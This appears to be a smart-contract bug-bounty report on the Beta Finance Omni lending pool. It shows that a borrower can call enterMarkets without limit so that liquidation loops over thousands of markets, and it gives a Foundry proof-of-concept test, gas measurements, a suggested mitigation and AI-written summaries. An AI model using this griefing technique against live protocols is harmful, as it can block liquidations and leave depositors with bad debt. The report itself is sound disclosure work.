Borrower can abuse enterMarkets to force liquidator can pay more funds
A borrower can call enterMarkets to add many markets, each with multiple tranches, before liquidation. This forces the liquidator to pay gas for accruing interest across all these markets, potentially making liquidation unprofitable or impossible.
Submitted by ladboy233
Borrower can abuse enterMarkets to force liquidator can pay more fund.
Proof of Concept
Liquidation process is in place to make sure the bad debt is paid, and when the liquidator repays the debt, they can seize the asset of the borrower as reward.
However, a bad user who does not want to repay the debt can force liquidator to pay more funds and even block liquidation.
When liquidating, this line of code is called:
Evaluation memory evalBefore = _evaluateAccountInternal(_params.targetAccountId, poolMarkets, targetAccount);
For every pool market, the liquidator needs to pay the gas to call accrue interest
function _evaluateAccountInternal(bytes32 _accountId, address[] memory _poolMarkets, AccountInfo memory _account)
internal
returns (Evaluation memory eval)
{
ModeConfiguration memory mode;
if (_account.modeId != 0) { mode = modeConfigurations[_account.modeId]; }
for (uint256 i = 0; i < _poolMarkets.length; ++i) {
// Accrue interest for all borrowable markets
IOmniToken(_poolMarkets[i]).accrue();
}
Note the function call:
IOmniToken(_poolMarkets[i]).accrue();
For each pool market, at most the for accrue function for loop runs 255 interaction
uint8 trancheIndex = trancheCount;
uint256 totalBorrow = 0;
uint256 totalDeposit = 0;
uint256[] memory trancheDepositAmounts_ = new uint256[](trancheCount);
uint256[] memory trancheAccruedDepositCache = new uint256[](trancheCount);
while (trancheIndex != 0) {
unchecked {
--trancheIndex;
}
The max trancheCount is uint8, but note there is no check for borrower to add pool market any time by calling enterMarkets.
The enterMarkets does not restrict the max number of market entered and does not validate if the borrower already has borrow position.
Before the liquidation happens, the borrower can select a lot of markets with high tranche count that does not accrue interest yet to enter the market.
Then liquidator has to pay the gas to run the for loop of accruing, which is clearly a loss of fund for liquidator.
The number of for loop iteration is :
number of pool market added by borrower * tranche count
This is an unbounded loop and can exceed the block limit.
The liquidator may not have incentive to liquidate once the gas paid for accruing exceeds the bonus, then bad debt is accruing and make the pool insolvent.
Proof of Concept:
Can add this test to TestOmniPool.t.sol
function test_LiquidateNoIsolated_poc() public {
uint256 length = 1000;
address[] memory newMarkets = new address[](length);
uint256[] memory borrowCaps = new uint256[](3);
borrowCaps[0] = 1e9 * (10 ** uToken.decimals());
borrowCaps[1] = 1e3 * (10 ** uToken.decimals());
borrowCaps[2] = 1e2 * (10 ** uToken.decimals());
for (uint256 i; i < length; ++i) {
OmniToken oooToken = new OmniToken();
oooToken.initialize(address(pool), address(uToken), address(irm), borrowCaps);
IOmniPool.MarketConfiguration memory mConfig1 =
IOmniPool.MarketConfiguration(0.9e9, 0.9e9, uint32(block.timestamp + 1000 days), 0, false);
pool.setMarketConfiguration(address(oooToken), mConfig1);
newMarkets[i] = address(oooToken);
}
test_SetLiquidationBonus();
IIRM.IRMConfig[] memory configs = new IIRM.IRMConfig[](3);
configs[0] = IIRM.IRMConfig(0.01e9, 1e9, 1e9, 1e9);
configs[1] = IIRM.IRMConfig(0.85e9, 0.02e9, 0.08e9, 1e9);
configs[2] = IIRM.IRMConfig(0.8e9, 0.03e9, 0.1e9, 1.2e9);
uint8[] memory tranches = new uint8[](3);
tranches[0] = 0;
tranches[1] = 1;
tranches[2] = 2;
irm.setIRMForMarket(address(oToken), tranches, configs);
oToken.deposit(0, 2, 1e2 * 1e18);
vm.startPrank(ALICE);
oToken.deposit(0, 0, 0.1e2 * 1e18);
oToken.deposit(0, 1, 0.1e2 * 1e18);
oToken.deposit(0, 2, 0.8e2 * 1e18);
address[] memory markets = new address[](1);
markets[0] = address(oToken);
pool.enterMarkets(0, markets);
pool.borrow(0, address(oToken), 0.9216e2 * 1e18);
// pool.enterMarkets(0, newMarkets);
vm.stopPrank();
vm.warp(365 days);
pool.enterMarkets(0, markets);
uint256 gas = gasleft();
uint256[] memory seizedShares = pool.liquidate(
IOmniPool.LiquidationParams(
address(ALICE).toAccount(0),
address(this).toAccount(1),
address(oToken),
address(oToken),
0.2e2 * 1e18
)
);
console.log("gas used: ", gas - gasleft());
}
Basically, we construct 1000 markets.
First we comment out the bad user’s:
// pool.enterMarkets(0, newMarkets);
Then run the test:
forge test -vv --match-test "test_LiquidateNoIsolated_poc"
The output is:
Running 1 test for src/tests/TestOmniPool.t.sol:TestOmniPool
[PASS] test_LiquidateNoIsolated_poc() (gas: 3177349635)
Logs:
gas used: 159429
This means the liquidator pays 159429 amount of gas to liquidate the user, but if we uncomment the line of code “pool.enterMarkets(0, newMarkets)”, the liquidator is forced to call accrue thousands of times in the loop.
We run the test again using the same comment.
The gas used is:
Running 1 test for src/tests/TestOmniPool.t.sol:TestOmniPool
[PASS] test_LiquidateNoIsolated_poc() (gas: 3207995288)
Logs:
gas used: 31572426
If the user call enter markets to enter more market, liquidator is likely to run out of gas.
As long as the user makes the liquidator feel like the gas cost of calling accrue is greater than liquidation seized asset, there will be no liquidation.
Recommended Mitigation Steps
Validate the max number of entered market for borrower.
Do not allow user to add more market if the user has borrow position.
cccz (Judge) increased severity to Medium
See full discussion on severity here.
allenjlee (BetaFinance) confirmed
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the enterMarkets function does not limit the number of markets a borrower can enter, and the liquidation evaluation loops over all entered markets to accrue interest, making gas costs unbounded.
Impact
Liquidators may pay excessive gas, making liquidation unprofitable and potentially blocking it, which could lead to bad debt and pool insolvency.
What the attacker needed
Borrower has an active borrow position; borrower can call enterMarkets; multiple markets with tranches exist
The fix
The protocol should validate the maximum number of entered markets for a borrower and prevent adding more markets if the borrower has an outstanding borrow position.
How it was found
- Borrower enters many markets with high tranche counts that have not accrued interest yet.
- Liquidator calls liquidate on the borrower's account.
- The liquidation function loops over all pool markets and calls accrue on each, consuming large amounts of gas.
- The gas cost may exceed the liquidation bonus, discouraging liquidation.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
In a lending protocol, if a borrower's debt becomes unsafe, a liquidator can repay it and seize collateral as a reward. This report shows that a borrower can add many extra markets to their account, so when a liquidator tries to help, the system must update interest for every market, costing a lot of gas. If the gas cost is too high, the liquidator may lose money and stop liquidating, leaving bad debt.
What is DoS?
A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.